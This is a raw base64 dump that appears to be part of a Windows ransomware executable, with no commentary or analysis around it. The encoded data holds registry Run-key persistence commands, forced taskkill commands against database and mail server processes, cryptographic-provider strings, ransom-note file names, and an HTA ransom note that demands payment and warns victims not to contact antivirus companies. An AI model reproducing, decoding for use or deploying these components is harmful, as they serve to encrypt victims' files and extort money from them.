hAC0AbABhAHQAbgAAAAAAYwBhAC0AZQBzAAAAYwBzAC0AYwB6AAAAYwB5AC0AZwBiAAAAZABhAC0AZABrAAAAZABlAC0AYQB0AAAAZABlAC0AYwBoAAAAZABlAC0AZABlAAAAZABlAC0AbABpAAAAZABlAC0AbAB1AAAAZABpAHYALQBtAHYAAAAAAGUAbAAtAGcAcgAAAGUAbgAtAGEAdQAAAGUAbgAtAGIAegAAAGUAbgAtAGMAYQAAAGUAbgAtAGMAYgAAAGUAbgAtAGcAYgAAAGUAbgAtAGkAZQAAAGUAbgAtAGoAbQAAAGUAbgAtAG4AegAAAGUAbgAtAHAAaAAAAGUAbgAtAHQAdAAAAGUAbgAtAHUAcwAAAGUAbgAtAHoAYQAAAGUAbgAtAHoAdwAAAGUAcwAtAGEAcgAAAGUAcwAtAGIAbwAAAGUAcwAtAGMAbAAAAGUAcwAtAGMAbwAAAGUAcwAtAGMAcgAAAGUAcwAtAGQAbwAAAGUAcwAtAGUAYwAAAGUAcwAtAGUAcwAAAGUAcwAtAGcAdAAAAGUAcwAtAGgAbgAAAGUAcwAtAG0AeAAAAGUAcwAtAG4AaQAAAGUAcwAtAHAAYQAAAGUAcwAtAHAAZQAAAGUAcwAtAHAAcgAAAGUAcwAtAHAAeQAAAGUAcwAtAHMAdgAAAGUAcwAtAHUAeQAAAGUAcwAtAHYAZQAAAGUAdAAtAGUAZQAAAGUAdQAtAGUAcwAAAGYAYQAtAGkAcgAAAGYAaQAtAGYAaQAAAGYAbwAtAGYAbwAAAGYAcgAtAGIAZQAAAGYAcgAtAGMAYQAAAGYAcgAtAGMAaAAAAGYAcgAtAGYAcgAAAGYAcgAtAGwAdQAAAGYAcgAtAG0AYwAAAGcAbAAtAGUAcwAAAGcAdQAtAGkAbgAAAGgAZQAtAGkAbAAAAGgAaQAtAGkAbgAAAGgAcgAtAGIAYQAAAGgAcgAtAGgAcgAAAGgAdQAtAGgAdQAAAGgAeQAtAGEAbQAAAGkAZAAtAGkAZAAAAGkAcwAtAGkAcwAAAGkAdAAtAGMAaAAAAGkAdAAtAGkAdAAAAGoAYQAtAGoAcAAAAGsAYQAtAGcAZQAAAGsAawAtAGsAegAAAGsAbgAtAGkAbgAAAGsAbwBrAC0AaQBuAAAAAABrAG8ALQBrAHIAAABrAHkALQBrAGcAAABsAHQALQBsAHQAAABsAHYALQBsAHYAAABtAGkALQBuAHoAAABtAGsALQBtAGsAAABtAGwALQBpAG4AAABtAG4ALQBtAG4AAABtAHIALQBpAG4AAABtAHMALQBiAG4AAABtAHMALQBtAHkAAABtAHQALQBtAHQAAABuAGIALQBuAG8AAABuAGwALQBiAGUAAABuAGwALQBuAGwAAABuAG4ALQBuAG8AAABuAHMALQB6AGEAAABwAGEALQBpAG4AAABwAGwALQBwAGwAAABwAHQALQBiAHIAAABwAHQALQBwAHQAAABxAHUAegAtAGIAbwAAAAAAcQB1AHoALQBlAGMAAAAAAHEAdQB6AC0AcABlAAAAAAByAG8ALQByAG8AAAByAHUALQByAHUAAABzAGEALQBpAG4AAABzAGUALQBmAGkAAABzAGUALQBuAG8AAABzAGUALQBzAGUAAABzAGsALQBzAGsAAABzAGwALQBzAGkAAABzAG0AYQAtAG4AbwAAAAAAcwBtAGEALQBzAGUAAAAAAHMAbQBqAC0AbgBvAAAAAABzAG0AagAtAHMAZQAAAAAAcwBtAG4ALQBmAGkAAAAAAHMAbQBzAC0AZgBpAAAAAABzAHEALQBhAGwAAABzAHIALQBiAGEALQBjAHkAcgBsAAAAAABzAHIALQBiAGEALQBsAGEAdABuAAAAAABzAHIALQBzAHAALQBjAHkAcgBsAAAAAABzAHIALQBzAHAALQBsAGEAdABuAAAAAABzAHYALQBmAGkAAABzAHYALQBzAGUAAABzAHcALQBrAGUAAABzAHkAcgAtAHMAeQAAAAAAdABhAC0AaQBuAAAAdABlAC0AaQBuAAAAdABoAC0AdABoAAAAdABuAC0AegBhAAAAdAByAC0AdAByAAAAdAB0AC0AcgB1AAAAdQBrAC0AdQBhAAAAdQByAC0AcABrAAAAdQB6AC0AdQB6AC0AYwB5AHIAbAAAAAAAdQB6AC0AdQB6AC0AbABhAHQAbgAAAAAAdgBpAC0AdgBuAAAAeABoAC0AegBhAAAAegBoAC0AYwBoAHMAAAAAAHoAaAAtAGMAaAB0AAAAAAB6AGgALQBjAG4AAAB6AGgALQBoAGsAAAB6AGgALQBtAG8AAAB6AGgALQBzAGcAAAB6AGgALQB0AHcAAAB6AHUALQB6AGEAAAA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IqUAAa3RvX3Byb2NodGV0X3RvdF9zZG9obmV0ID0pADAxMjM0NTY3ODlBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6AAAwMTIzNDU2Nzg5QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVoAAAAAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAAAAiIC15AAAAAC1ERUNSWVBULnR4dAAAAAAAAAAAIC9jIHJlZyBhZGQgSEtMTVxTT0ZUV0FSRVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxSdW4gL3YgInphcGlza2EiIC9kICJDOlxQcm9ncmFtRGF0YVwAY21kLmV4ZQAgL2MgcmVnIGFkZCBIS0NVXFNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFJ1biAvdiAiemFwaXNrYSIgL2QgIkM6XFByb2dyYW1EYXRhXAAgL2MgdGFza2tpbGwuZXhlIHRhc2traWxsIC9mIC9pbSBzdG9yZS5leGUAACAvYyB0YXNra2lsbC5leGUgdGFza2tpbGwgL2YgL2ltIHNxbHNlcnZlci5leGUAACAvYyB0YXNra2lsbC5leGUgdGFza2tpbGwgL2YgL2ltIGRucy5leGUAAAAAIC9jIHRhc2traWxsLmV4ZSB0YXNra2lsbCAvZiAvaW0gc3Fsd3JpdGVyLmV4ZQAAaW52YWxpZCBzdHJpbmcgcG9zaXRpb24Ac3RyaW5nIHRvbyBsb25nAAAAAABmdWNrYXYAAE1pY3Jvc29mdCBFbmhhbmNlZCBDcnlwdG9ncmFwaGljIFByb3ZpZGVyIHYxLjAAAC4AAABDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABrAGUAeQAuAAAACgAAAC0ARABFAEMAUgBZAFAAVAAuAGgAdABhAAAAAAA8L3NwYW4+PC9wPjwvZGl2PjxkaXYgc3R5bGU9ImJvcmRlcjogMXB4IHNvbGlkIHRyYW5zcGFyZW50OyB3aWR0aDogNTAlOyBoZWlnaHQ6IDE1MHB4OyBiYWNrZ3JvdW5kLWNvbG9yOiM5ZWQwZmY7IG1hcmdpbi1sZWZ0OjE1cHg7IGJvcmRlci1sZWZ0LWNvbG9yOiAjM2VhMGZkOyBib3JkZXItbGVmdC1zdHlsZTogc29saWQ7IGJvcmRlci1sZWZ0LXdpZHRoOiA4cHg7IHBhZGRpbmctbGVmdDogMTBweDsiPjxoMyBzdHlsZT0icGFkZGluZy1sZWZ0OiAxNXB4OyBwYWRkaW5nLXRvcDogNXB4OyI+RnJlZSBkZWNyeXB0aW9uIGFzIGd1YXJhbnRlZSE8L2gzPjxwIHN0eWxlPSJwYWRkaW5nLWxlZnQ6IDMwcHg7Ij5CZWZvcmUgcGF5aW5nIHlvdSBjYW4gcmVxdWVzdCBmcmVlIGRlY3J5cHRpb24gb2YgMyBmaWxlcy48L3A+PHAgc3R5bGU9InBhZGRpbmctbGVmdDogMzBweDsiPlRvdGFsIHNpemUgb2YgZmlsZXMgbXVzdCBiZSBsZXNzIHRoYW4gNU1CIChub24tYXJjaGl2ZWQpLjwvcD48cCBzdHlsZT0icGFkZGluZy1sZWZ0OiAzMHB4OyI+RmlsZXMgc2hvdWxkbid0IGNvbnRhaW4gdmFsdWFibGUgaW5mb3JtYXRpb24gKGFjY2VwdCBvbmx5IHR4dFxqcGdccG5nKS48L3A+PC9kaXY+PHA+PC9wPjxkaXYgc3R5bGU9ImJvcmRlcjogMXB4IHNvbGlkIHRyYW5zcGFyZW50OyB3aWR0aDogNTAlOyBoZWlnaHQ6IDE1MHB4OyBiYWNrZ3JvdW5kLWNvbG9yOiM5ZWQwZmY7IG1hcmdpbi1sZWZ0OjE1cHg7IGJvcmRlci1sZWZ0LWNvbG9yOiByZWQ7IGJvcmRlci1sZWZ0LXN0eWxlOiBzb2xpZDsgYm9yZGVyLWxlZnQtd2lkdGg6IDhweDsgcGFkZGluZy1sZWZ0OiAxMHB4OyI+PGgzIHN0eWxlPSJwYWRkaW5nLWxlZnQ6IDE1cHg7IHBhZGRpbmctdG9wOiA1cHg7Ij5BdHRlbnRpb24hPC9oMz48cCBzdHlsZT0icGFkZGluZy1sZWZ0OiAzMHB4OyI+RG9uJ3QgdHJ5IHRvIGRlY3J5cHQgaXQgbWFudWFsbHkuPC9wPjxwIHN0eWxlPSJwYWRkaW5nLWxlZnQ6IDMwcHg7Ij5Eb24ndCByZW5hbWUgZXh0ZW5zaW9uIG9mIGZpbGVzLjwvcD48cCBzdHlsZT0icGFkZGluZy1sZWZ0OiAzMHB4OyI+RG9uJ3QgdHJ5IHRvIHdyaXRlIEFWIGNvbXBhbmllcyAodGhleSBjYW4ndCBoZWxwIHlvdSkuPC9wPjwvZGl2PjwvZGl2PjwvYm9keT48L2h0bWw+AAAAPC9zcGFuPjwvcD48cCBzdHlsZT0iZm9udC13ZWlnaHQ6Ym9sZDsiPkJhY2t1cCBlLW1haWwgZm9yIGNvbnRhY3QgOiA8c3BhbiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojMDBmZjkwIj4AAAAAADwvc3Bhbj48L3A+PHAgc3R5bGU9ImZvbnQtd2VpZ2h0OmJvbGQ7Ij5FLW1haWwgZm9yIGNvbnRhY3Q6IDxzcGFuIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiMwMGZmOTAiPgAAAAAAPC90aXRsZT48SFRBOkFQUExJQ0FUSU9OIEFQUExJQ0FUSU9OTkFNRT0icmFuc29td2FyZSIgU0NST0xMPSJubyIgU0lOR0xFSU5TVEFOQ0U9InllcyIgU3lzTWVudT0ibm8iIFNIT1dJTlRBU0tCQVI9Im5vIiBXSU5ET1dTVEFURT0ibm9ybWFsIiBCT1JERVI9InRoaW4iIEJPUkRFUlNUWUxFPSJzdW5rZW4iLz48L2hlYWQ+PGJvZHkgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6ICNkNWRlZWY7Ij48ZGl2IHN0eWxlPSJ3aWR0aDogMTAwJTsgaGVpZ2h0OiAxMDAlOyBib3JkZXI6IDJweCBzb2xpZCAjZTZlY2QyOyBiYWNrZ3JvdW5kLWNvbG9yOiAjZTZlY2Y3OyI+PGRpdiBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7Ij48aW1nIHNyYz0iZGF0YTppbWFnZS9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFNZ0FBQUNiQ0FNQUFBQVFuQ1QxQUFBQU0xQk1WRVZIY0V5dS9RVDcrL3RqaXdpaG9hQ0d1Z1FHQ0FZOFJrMXljM043Zkh3MFJ3N0V4Y1NBc0FnRmNxK2hCVmliMlFqb0JvcmR2TGh2QUFBQUNuUlNUbE1BLy8vLzh2Ly8rdmloQjA0dlZ3QUFFOGRKUkVGVWVOcnNuSWx5MnpnTVFOdVFBa0NRdHZML1g3dkV3VXRTT3VtTzEzWm1sdTRSVzgyVVR6Z1BLcjkrL2IrK3RWSktQMnkvZExuamhJRDRjMWdTZ1N5bTA0Nzl3czhnU1FodHhlTzFkdWtua01UQndmRmFJZ0Q0QTBnR0I2QUthSkVXL0JnU3ZlZk0zRXdrRVMyWG5mUHR6U1FCWTBxMm1xcmh3WVNVaGQ1ZElFaG50dnBSUEhvRGZFY3B4SlJTakxiSGVMd21Wa08vVnB1STcrZTRVa0pnaHZwQ3dKVGloWWhTQWs0SDQ2WTNBMGxpMU5QQ0MyZEVFQm5vWUNncXBYZU1HQlBMc3NHWWlJejFzTy9JYndPUzJnNHh4VmhYUW85Mm5waWtSQWc4RXk3aW9uY0JzVVFFNTl4UXQyN0JMcm1UMVpEQ3JvQ01PTEt2QzNONkljY3BLN1IwRVUwNEhNcTIxL1c3dnJZUzJDRGZ5MXRaS0VoL1NCazU3TDhQYXk5OE1xSzM1ZkJrNjB6aExPRktqcTlOcVBCUEY4c0ZnLzNhK1kweXhuVFlUS0pFaUVncEp1RVFhOWdPRkhXVnJTNzUrMzFTUmx5Mm9nYU9SQ2g0VVd4akIrQjlndGpLVmtJSVJWNFZKcndMQ1MzeGpSQXc1dzlaV1VLa3lDSU1LOWszZ2VnZW1FT29IL0I3YUJmT2loVUI0c2RZcENRN0EyL080WDUzTEs0b2IyRW5hUllJQVg0c0t5dkpCbEFFcUd6cWNxSEtRY3hrQzhIZnZrTWVQd3NrSFRtTVpOOUVKR0ljNG02NXpNNTQwNC9DRzVSV09QYVFFUElSNUNOV0JnVnhjWnhjOGNZQXpDODMrRFFWUmJUWVIrNTJFdVMyaDYwQUFHL25rS0pDZWJseXBjbDVZbGVzeU5xUnk2WmNMRnN0SWcrK0RQR2JtVXA2dGZOdEpoS2JRSEt2VFBRREJGRXEyV3pZcmpNVkk4RjNBU0hvOWcwelNZVGd6bXJiTFZ1VVNCTDhuWXJFdEN1OUNRaEE0K0RZcFpMbGc3Q3BxdW5PdHltT1RHRXl2Rm9rQXlRUnU1dFNPYmhjU0VIVVBrUUVrdTlTbE5DZk15RndhQ0pSbWFVM0FURmJSekFuekUwa0RxSWNESmhuMXd5aFp5NHZGc2tNQXMxQ2FMS1U2Q0JjWTN2bGlHdTRSQ1BaVFNTdmpDVngvUGZZUVlCeTVBNFNOUWVSck9USW9WR21tRzZwbGRCTDQwajc3MGxWS2g4YVFsSDJLbkZrMndNMC94eGpiaHBtQ2JJVUp5S1NGK3RXWTRvWElEa3piS3BaUlZYT295VUFSbmR5d1VBMEVYdWhidUdZNEZpcVJXdVdybUVFTE9FNlNNenNualEvZHQxNnJaRTAzVXFMbGJ2N3pjREZVeTMwcU4rYVhKWXJxMGkyc3IwOGxPQ1lEbHJXT0lzRU0xVVFqZXBtSVFoQXVjT3FyaUVieUtzZGNKcitmenlRa0hCb0lpVTVZOWJJQVhNYVk3b29JT1hsSUNvUzZnMFZ6YTdRKzd2S29YbFVNQkIwS2N3aWliQy9CNGoyNXp3b3NvZnVTRVF4UzVBeERpZ2JnNGQ3aituZFNpckkvZzZxNVEwNkpjR3dNd0RIbkhPT0JJMkRtMFJ5VDcvZUVxU1RKSlMwc0tlM2txdTNranhzSFFRQUZ3OU1zRzl2NEg2N21URDlvdUQxaGswUGd0UWRLaFhXS2pHZm9xVkt4RUNLZ2tSTjJxaU5KNUo4L2RUbXNJMFZ1TFJ1WXRCV29ncEhTaWhKVVlMbzFIR3FaVm0rU1lRQlFNVEwvUWlCbjJKNWFzZWVEdE9EMW9vVHNXeXRacy9keUdHNDN3aUtVVHhwUkFBbWN4L2lSVWhOTFQzYmQ5bk9TMTFtS1d3Y2txT3pSVVE4QzRSbkV5Rm9EcHdTQW1kTEJwN2FpSXdBWlcySEtrWnAraThaMTlGS3NuV0xObU9WL2JZNEV3R1NoZGNQS1FuU1U1V0x0YlBERTBYWWQrMlVTbnRYUk1JclNiYitYZkdtUFBDdjJIcDhrUUZiRXlBVFBORktJc0xXakVOZnBlejdHQ1FFQ3lVaUUycW5udFJqc1VRUWI2UGdBTkhtQlhXUUo4YVhOTHB2Kys1RHp6NHRMT3FUMUExSDBSV2lHS1VCUVJKZ3BKbHFTa2tIRUs5WThsUFBFNmhtZlRFcUxCNGwxQjlqSzNjRmc1WERDbmF4aEFSTnRSRGFsemtpcENjS3BNM1g5dFBvVTQya09JazFVMGs5TE12STJqbENBQ24rWVpaSUIrYjVwTlNUTkdzLzk2azFrN0xPRmMvakt2SFVhaDhpajhKQTJ1VnpmWkxQdW1ZQlBpMHdFclJlRzEvMGRzVU1Pa2xsMFpmT0VFc2JtaFFHMUJTQk9vaC9GZjJFem5QYVJkaEF5aGxFQmJJMWkxYVU0QkhHTU1SMUJZdmZjZXBReEM0UVRTNGxNRDdEUkZvZmw2OU5SRjhqM2hjTi8yNHl3Znd2RWlVZjN1bjJjeGNJdHNaa2VxTFBDbnl5RUpPSTN2OWhJRlBrTEo0eVd1blNRTEFGa2NrQi9OZFdrcnFKaUVqQ3FsZ21qZ21GMXpTbWFKM0xJaEQ5U0xjdmtUMXJmZFlENHpOMEsrRjB1R0huV2J0MDkvNWJEY1d0M1FzVzgxdVZ6NXBjcGxFNVIwU3hib3dxa0kvdXZ0TFRUTVRQeXBSeHptSGJCb2I3WVdjUWpPNEh4clJMQzJXVEJ2RVVGNFVwUGptc0Z4dENOd3dIYURlZnRjODFMRWZoWWg4MURCQXIvRnZHRlovUTVFWlk3YUlnV1dtNExpdFRVR3VsOVZycEp5WXlZWjVYVkowelkvbnZ5NUlqU0lnNmtXSUxHcElNZS8yTzJpV3lRZHk4UWs4UnEwaUlFQ25HR0kzRS84SW54TVBJc09ZbDdDRWd5cDdZRGpDaXByeTJKWXVCMDJJWVdUc3hFUkZnN0N6MlRSaWZFQTdYS0xoem42L2wwL0t5blNlZkxKcEZCT0J4ejNGcElubk9ZVzJSK2hvRDRlTnE5YmJkU1NJQnJERkJFM3dqaWM3eENIbDhmUytTSHBhRGc0bnM1eEdiYjdDZmN1YXdsVm16ck1FRnN5UWpkWUhRWSt3Y2wvTzhOZnIxZDZrOUFCSU9hYUtFc2pNSWpSNUttRFZyODRrMno0ZHljaWFUUm41VTBaNnNqMGhwVEhiczZMRjFnTFQvZGpyem95bEh6dE1kanNzb3l5Z0NoNjVaT2p4WkpEbE0vVEZGZTJwMURaSXVmNGJObzRIVklQdEZmYXYxa24vUHNjUElIczhOcEprNXRheHFzaWtGZVV4dVVrRnV5MGF3dlcwSC9NclZxUjhiZUh5eG1rQVVKTFFZRXM4Z3R2Z2hwbzRBdHhzUU1oRWdJZkt0THB3NHRzQlhFcEU3L2NYaUJZVGJ3VHNDT0RvSCtTWE5yd2RsaEJVa0UxVnJ0QmJtN1dZczNQcUkxeUJmU3lTMG5ENVlmeVcyd3gvcjBiVm1JdytxUStJQkpON2FhaWlYSU41MHV4VElTT29WeE9KbkJJaDVKbkdNaDFXR0JQZ0ZpR29ZaCswS3hMc0sxd0lwbmc5ck9jSnVHZHAzbU